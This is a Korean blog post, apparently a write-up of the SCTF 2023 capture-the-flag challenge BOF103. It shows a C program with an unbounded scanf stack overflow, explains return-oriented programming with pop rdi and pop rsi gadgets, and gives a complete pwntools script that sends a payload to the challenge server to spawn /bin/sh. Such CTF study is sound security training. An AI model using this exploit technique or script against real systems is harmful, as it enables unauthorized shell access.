War Game/CTF

[SCTF 2023] BOF103 - writeup

ReTeu 2023. 8. 22. 20:33

또버플로우 문제. 이번에는 함수의 매개변수를 활용해야 한다. 코드부터 보자.

#include <stdio.h>
#include <stdlib.h>

unsigned long long key;

void useme(unsigned long long a, 
		unsigned long long b)
{
	key = a * b;
}

void bofme() {
	char name[16];
	puts("What's your name?");
	printf("Name > ");
	scanf("%s", name);
	printf("Bye, %s.\n", name);
}

int main() {
	system("echo 'Welcome to BOF 103!'");
	bofme();
	return 0;
}

  2번 문제와 마찬가지로 전역변수에 '/bin/sh' 문자열을 입력해야하는데, 해당 변수에 원하는 값을 입력하려면 useme()의 매개변수로 적절한 값을 넘겨주어야 한다. 이후, system()을 호출할 때에 한 번에 매개변수인 "/bin/sh\0"까지 모두 전달해야한다. 우리는 이를 위해 ROP (Return Oriented Programming) 기법을 이용할 것이다.

  calling convention ( https://reteu.kr/33 )을 배웠다면 알겠지만, 함수에 매개변수를 전달할 때에 상황에 따라 레지스터 또는 스택에 값을 전달하고 함수를 호출하는 방식으로 이용하게 된다. 만약 rdi 레지스터에 특정 값을 넣어야한다면, 'pop rdi, ret'이 연달아 작성된 코드를 찾아 그 시작 주소를 메모해둔 다음, 레지스터에 넣고싶은 값이 스택에 들어있는 상태에서 해당 위치로 실행 흐름을 보내버린다면 rdi 레지스터에 해당 값이 들어갈 수 있다. 이를 이용하는 기법이라고 생각하면 된다.

스택 레이아웃을 보며 어떻게 작성해야할지를 살펴보자.

  먼저 useme 함수에 두 개의 인자를 넘겨야 하므로 rsi, edi 각각의 레지스터에 값을 집어넣을 수 있도록 'pop rdi, ret', 'pop rsi, ret' 가젯을 찾아 주소를 메모해 주도록 하자. 외에도 필요한 함수의 주소값들을 objdump 명령어를 통해 아래와 같이 확보하면 되겠다.

rdi 레지스터에 값을 넣기 위한 ROP Gadget

 

rsi 레지스터에 값을 넣기 위한 ROP Gadget

 

기타 주소값이 필요한 인자들도 검색해준다.

이제 필요한 모든 값이 준비되었으니 아래의 스택 레이아웃을 참고하여 우측과 같이 페이로드를 작성하면 되겠다.

(우측 사진 -> 스포일러 주의)

 

 

 

 

from pwn import *
from struct import pack

system = 0x4004e0
useme = 0x400626
key = 0x601058
pop_rdi = 0x400723
pop_rsi = 0x4006b8

p64 = lambda x: pack("<Q", x)
payload = b"A" * (16 + 8)
payload += p64(pop_rdi)
payload += b"/bin/sh\x00"
payload += p64(pop_rsi)
payload += p64(1)
payload += p64(useme)
payload += p64(pop_rdi)
payload += p64(key)
payload += p64(system)

r = remote("bof103.sstf.site", 1337)
r.recvuntil(b"Name > ")
r.sendline(payload)
r.recvline()

r.interactive()

'War Game > CTF' 카테고리의 다른 글

[SCTF2023] SQLi 102  (0) 2023.08.22
[SCTF 2023] SQLi 101 - writeup  (0) 2023.08.22
[SCTF 2023] BOF104 - writeup  (0) 2023.08.22
[SCTF 2023] BOF102 - writeup  (0) 2023.08.22
[SCTF 2023] BOF101 - writeup  (0) 2023.08.22